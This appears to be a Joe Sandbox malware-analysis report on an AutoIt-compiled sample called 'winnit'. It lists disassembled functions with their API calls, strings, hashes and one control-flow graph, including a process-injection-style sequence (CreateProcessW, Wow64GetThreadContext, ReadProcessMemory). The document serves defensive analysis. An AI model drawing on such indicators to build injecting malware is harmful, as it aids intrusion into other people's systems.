                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                          • String ID: Line:
                                          • API String ID: 3942752672-1585850449
                                          • Opcode ID: 7af9009ea6738c0feafd2912e25d5646118bf105f3d9956c215ee812a061865e
                                          • Instruction ID: f4d1d0d91624a95c4ce1658d6c2500dbce903dd13f3466bf38623b9f55ec1477
                                          • Opcode Fuzzy Hash: 7af9009ea6738c0feafd2912e25d5646118bf105f3d9956c215ee812a061865e
                                          • Instruction Fuzzy Hash: ED318F71408705AAD331EB64DD46BEA77ECAB54300F10451AF589921A3DFB4A688CB92
                                          Function 00AB686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1133 ab686a-ab6891 call ab4ddd 1136 ab6897-ab68a5 call ab4ddd 1133->1136 1137 aee031-aee041 call b1955b 1133->1137 1136->1137 1142 ab68ab-ab68b1 1136->1142 1141 aee046-aee048 1137->1141 1143 aee04a-aee04d call ab4e4a 1141->1143 1144 aee067-aee0af call ad0db6 1141->1144 1146 aee052-aee061 call b142f8 1142->1146 1147 ab68b7-ab68d9 call ab6a8c 1142->1147 1143->1146 1152 aee0d4 1144->1152 1153 aee0b1-aee0bb 1144->1153 1146->1144 1157 aee0d6-aee0e9 1152->1157 1156 aee0cf-aee0d0 1153->1156 1158 aee0bd-aee0cc 1156->1158 1159 aee0d2 1156->1159 1160 aee0ef 1157->1160 1161 aee260-aee263 call ad2d55 1157->1161 1158->1156 1159->1157 1163 aee0f6-aee0f9 call ab7480 1160->1163 1164 aee268-aee271 call ab4e4a 1161->1164 1167 aee0fe-aee120 call ab5db2 call b173e9 1163->1167 1170 aee273-aee283 call ab7616 call ab5d9b 1164->1170 1176 aee134-aee13e call b173d3 1167->1176 1177 aee122-aee12f 1167->1177 1187 aee288-aee2b8 call b0f7a1 call ad0e2c call ad2d55 call ab4e4a 1170->1187 1185 aee158-aee162 call b173bd 1176->1185 1186 aee140-aee153 1176->1186 1179 aee227-aee237 call ab750f 1177->1179 1179->1167 1189 aee23d-aee25a call ab735d 1179->1189 1196 aee176-aee180 call ab5e2a 1185->1196 1197 aee164-aee171 1185->1197 1186->1179 1187->1170 1189->1161 1189->1163 1196->1179 1203 aee186-aee19e call b0f73d 1196->1203 1197->1179 1208 aee1a0-aee1bf call ab7de1 call ab5904 1203->1208 1209 aee1c1-aee1c4 1203->1209 1232 aee1e2-aee1f0 call ab5db2 1208->1232 1211 aee1c6-aee1e1 call ab7de1 call ab6839 call ab5904 1209->1211 1212 aee1f2-aee1f5 1209->1212 1211->1232 1214 aee1f7-aee200 call b0f65e 1212->1214 1215 aee215-aee218 call b1737f 1212->1215 1214->1187 1225 aee206-aee210 call ad0e2c 1214->1225 1222 aee21d-aee226 call ad0e2c 1215->1222 1222->1179 1225->1167 1232->1222
                                          APIs
                                            • Part of subcall function 00AB4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00B752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00AB4E0F
                                          • _free.LIBCMT ref: 00AEE263
                                          • _free.LIBCMT ref: 00AEE2AA
                                            • Part of subcall function 00AB6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00AB6BAD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _free$CurrentDirectoryLibraryLoad
                                          • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                          • API String ID: 2861923089-1757145024
                                          • Opcode ID: ed7a50cd5f3cb79f407f3fbd94021c440b01b109f01144ee14f253e9c30e8660
                                          • Instruction ID: a66b57e7695e0a54d79d9ee573cc31f9a13ce2ed649cb7a28e5f49553f3903ed
                                          • Opcode Fuzzy Hash: ed7a50cd5f3cb79f407f3fbd94021c440b01b109f01144ee14f253e9c30e8660
                                          • Instruction Fuzzy Hash: 4B919C71A00259EFCF04EFA5CC819EDB7B8FF18310F10456AF816AB2A2DB70A945CB50
                                          Function 00AB35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00AB35A1,SwapMouseButtons,00000004,?), ref: 00AB35D4
                                          • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00AB35A1,SwapMouseButtons,00000004,?,?,?,?,00AB2754), ref: 00AB35F5
                                          • RegCloseKey.KERNELBASE(00000000,?,?,00AB35A1,SwapMouseButtons,00000004,?,?,?,?,00AB2754), ref: 00AB3617
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CloseOpenQueryValue
                                          • String ID: Control Panel\Mouse
                                          • API String ID: 3677997916-824357125
                                          • Opcode ID: 1a58ac6b2dac43de36885b5ea9bbaa698c384fd8e58b12d51e874b7a68d9648c
                                          • Instruction ID: daffc6fd81727943f723f0b5ad47d681a575a2a8d2e343f60801ba6af616c9c3
                                          • Opcode Fuzzy Hash: 1a58ac6b2dac43de36885b5ea9bbaa698c384fd8e58b12d51e874b7a68d9648c
                                          • Instruction Fuzzy Hash: EC1148B6910208BFDF208F68DC90AFFB7BCEF04740F109469E805D7211D6719E40A760
                                          Function 00F70BC8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 00F71383
                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F71419
                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F7143B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186698804.0000000000F6F000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F6F000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_f6f000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                          • String ID:
                                          • API String ID: 2438371351-0
                                          • Opcode ID: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
                                          • Instruction ID: 77cd8db66c49595a4dca0eb2abac1f41a9d5358514ebd7d4dcc7f7e695fff476
                                          • Opcode Fuzzy Hash: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
                                          • Instruction Fuzzy Hash: 1662E930A142589BEB24CFA4CC51BDEB376FF58300F1091A9D10DEB290E7799E85DB5A
                                          Function 00B1955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB4EE5: _fseek.LIBCMT ref: 00AB4EFD
                                            • Part of subcall function 00B19734: _wcscmp.LIBCMT ref: 00B19824
                                            • Part of subcall function 00B19734: _wcscmp.LIBCMT ref: 00B19837
                                          • _free.LIBCMT ref: 00B196A2
                                          • _free.LIBCMT ref: 00B196A9
                                          • _free.LIBCMT ref: 00B19714
                                            • Part of subcall function 00AD2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00AD9A24), ref: 00AD2D69
                                            • Part of subcall function 00AD2D55: GetLastError.KERNEL32(00000000,?,00AD9A24), ref: 00AD2D7B
                                          • _free.LIBCMT ref: 00B1971C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                          • String ID:
                                          • API String ID: 1552873950-0
                                          • Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                          • Instruction ID: d750afd3af8c11106d6ec681de36a041a1bdebae139f91b996464c0be2b08d19
                                          • Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
                                          • Instruction Fuzzy Hash: 62513FB1D04258ABDF249F64CC81AEEBBB9EF48300F10449EB549A3342DB715E80CF58
                                          Function 00AD470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                          • String ID:
                                          • API String ID: 2782032738-0
                                          • Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                          • Instruction ID: 0e751795ed7b654aceb9a30698788416037cbd212b1dea32c495a04b02727de4
                                          • Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                          • Instruction Fuzzy Hash: 17419375A007469BDF188F69C9849AE77B6AF493A0B24853FE81B97740DB70DD409B40
                                          Function 00AB7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00AEEA39
                                          • GetOpenFileNameW.COMDLG32(?), ref: 00AEEA83
                                            • Part of subcall function 00AB4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AB4743,?,?,00AB37AE,?), ref: 00AB4770
                                            • Part of subcall function 00AD0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00AD07B0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Name$Path$FileFullLongOpen_memset
                                          • String ID: X
                                          • API String ID: 3777226403-3081909835
                                          • Opcode ID: 8d68225c36dc80d15bf9039731a36346f46d94c0d85e5983074e014f216eb497
                                          • Instruction ID: 739c6e99fbda796acbea796079ee63fd87b7b29214b7d63cd45ee0cc7053894c
                                          • Opcode Fuzzy Hash: 8d68225c36dc80d15bf9039731a36346f46d94c0d85e5983074e014f216eb497
                                          • Instruction Fuzzy Hash: 6321C031A002889BCB01DF98D845BEE7BFDAF48314F00405AE409AB242DFF85989CFA1
                                          Function 00B198E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetTempPathW.KERNEL32(00000104,?), ref: 00B198F8
                                          • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00B1990F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Temp$FileNamePath
                                          • String ID: aut
                                          • API String ID: 3285503233-3010740371
                                          • Opcode ID: bf669e7414094cd74a3cea121f09880395433b007c3c91eab424c501f8ecc975
                                          • Instruction ID: 0392ec55dcdb16f5d43b1f82edc8590cd82ac89446f0a182e2f2bf5f6d098f2c
                                          • Opcode Fuzzy Hash: bf669e7414094cd74a3cea121f09880395433b007c3c91eab424c501f8ecc975
                                          • Instruction Fuzzy Hash: 1BD05B7594030DABDB509B90DC0DFAF777CD704700F0002B1BA54920A1DD7055548B91
                                          Function 00B2CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 59f00be917ff667ff39b395a7dae12b8c269e9e7f0d95c0482a13f3ab63c4658
                                          • Instruction ID: c9bf8b1f8ab0b8573740bbecac3dbbc6e10da7e1fbd20ef1e45e34db1d710ebb
                                          • Opcode Fuzzy Hash: 59f00be917ff667ff39b395a7dae12b8c269e9e7f0d95c0482a13f3ab63c4658
                                          • Instruction Fuzzy Hash: EDF14571A083119FCB14DF28D580A6EBBE5FF89314F14896EF8999B252D730E945CF82
                                          Function 00ABF76F Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AD0193
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 00AD019B
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AD01A6
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AD01B1
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 00AD01B9
                                            • Part of subcall function 00AD0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 00AD01C1
                                            • Part of subcall function 00AC60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00ABF930), ref: 00AC6154
                                          • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00ABF9CD
                                          • OleInitialize.OLE32(00000000), ref: 00ABFA4A
                                          • CloseHandle.KERNEL32(00000000), ref: 00AF45C8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                          • String ID:
                                          • API String ID: 1986988660-0
                                          • Opcode ID: 949944d9e7ec2167aafc3b97341e5ba9ddb38c39da085bd6d714e6d38153a687
                                          • Instruction ID: 1d97ce1819bb84cb5886101dc0f8eeb7762c716ea1be7aff8b1b98dc1aea571c
                                          • Opcode Fuzzy Hash: 949944d9e7ec2167aafc3b97341e5ba9ddb38c39da085bd6d714e6d38153a687
                                          • Instruction Fuzzy Hash: 2C81DCB1901A408ED3B8DF39A945A597BE9FB98306B60856A901DCB37AEFF044C48F15
                                          Function 00AB434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00AB4370
                                          • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AB4415
                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00AB4432
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconNotifyShell_$_memset
                                          • String ID:
                                          • API String ID: 1505330794-0
                                          • Opcode ID: 6a236834dcdac6be715d5fa5352991af6df7d698fb986adbf37fa73c84fea68d
                                          • Instruction ID: 01076ff89756f8fd068321f0fdc4ca25ce682ed54dc92d831d0c38b9518d7ab8
                                          • Opcode Fuzzy Hash: 6a236834dcdac6be715d5fa5352991af6df7d698fb986adbf37fa73c84fea68d
                                          • Instruction Fuzzy Hash: 2E314FB05057019FD721DF24D8856DBBBF8FB58309F00092EE59A97293EBB1A984CB52
                                          Function 00AD571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __FF_MSGBANNER.LIBCMT ref: 00AD5733
                                            • Part of subcall function 00ADA16B: __NMSG_WRITE.LIBCMT ref: 00ADA192
                                            • Part of subcall function 00ADA16B: __NMSG_WRITE.LIBCMT ref: 00ADA19C
                                          • __NMSG_WRITE.LIBCMT ref: 00AD573A
                                            • Part of subcall function 00ADA1C8: GetModuleFileNameW.KERNEL32(00000000,00B733BA,00000104,?,00000001,00000000), ref: 00ADA25A
                                            • Part of subcall function 00ADA1C8: ___crtMessageBoxW.LIBCMT ref: 00ADA308
                                            • Part of subcall function 00AD309F: ___crtCorExitProcess.LIBCMT ref: 00AD30A5
                                            • Part of subcall function 00AD309F: ExitProcess.KERNEL32 ref: 00AD30AE
                                            • Part of subcall function 00AD8B28: __getptd_noexit.LIBCMT ref: 00AD8B28
                                          • RtlAllocateHeap.NTDLL(00F30000,00000000,00000001,00000000,?,?,?,00AD0DD3,?), ref: 00AD575F
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                          • String ID:
                                          • API String ID: 1372826849-0
                                          • Opcode ID: ecfbf7d072f9a55ccb72cc92a59d0124e4fcfe232c00df3889bdb141713a249a
                                          • Instruction ID: 871fefe69f1fd76d15e1ec440ba64733557961160afb3d27e8c0767abce7c111
                                          • Opcode Fuzzy Hash: ecfbf7d072f9a55ccb72cc92a59d0124e4fcfe232c00df3889bdb141713a249a
                                          • Instruction Fuzzy Hash: D3012836A00B11DEDB102B35ED42B6E77989F52761F300927F50B9B3C1DE70CD405661
                                          Function 00B198A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00B19548,?,?,?,?,?,00000004), ref: 00B198BB
                                          • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00B19548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00B198D1
                                          • CloseHandle.KERNEL32(00000000,?,00B19548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00B198D8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: File$CloseCreateHandleTime
                                          • String ID:
                                          • API String ID: 3397143404-0
                                          • Opcode ID: ee043b74141a285d0e3a006c5a988a8fa97de4e0c5045528f48e8fd697cbd868
                                          • Instruction ID: 0e61cadf58df7d3ef3c9a6d96dcc7738ee11689b7fd670fe736964cc8f744da5
                                          • Opcode Fuzzy Hash: ee043b74141a285d0e3a006c5a988a8fa97de4e0c5045528f48e8fd697cbd868
                                          • Instruction Fuzzy Hash: 88E08632540615B7D7211B54EC09FEE7B59EB06B60F204220FB14BA0E08BB129119798
                                          Function 00B18D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 00B18D1B
                                            • Part of subcall function 00AD2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00AD9A24), ref: 00AD2D69
                                            • Part of subcall function 00AD2D55: GetLastError.KERNEL32(00000000,?,00AD9A24), ref: 00AD2D7B
                                          • _free.LIBCMT ref: 00B18D2C
                                          • _free.LIBCMT ref: 00B18D3E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _free$ErrorFreeHeapLast
                                          • String ID:
                                          • API String ID: 776569668-0
                                          • Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                          • Instruction ID: 127d9933ecaea5ac69864359f6346bd6b1f6bf8eaa14625aabfb7bb102c3779e
                                          • Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                          • Instruction Fuzzy Hash: 70E012A160170157CB24A578BA40BD323DD9F69352754096EB44ED7286CE64F882C224
                                          Function 00ABA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: CALL
                                          • API String ID: 0-4196123274
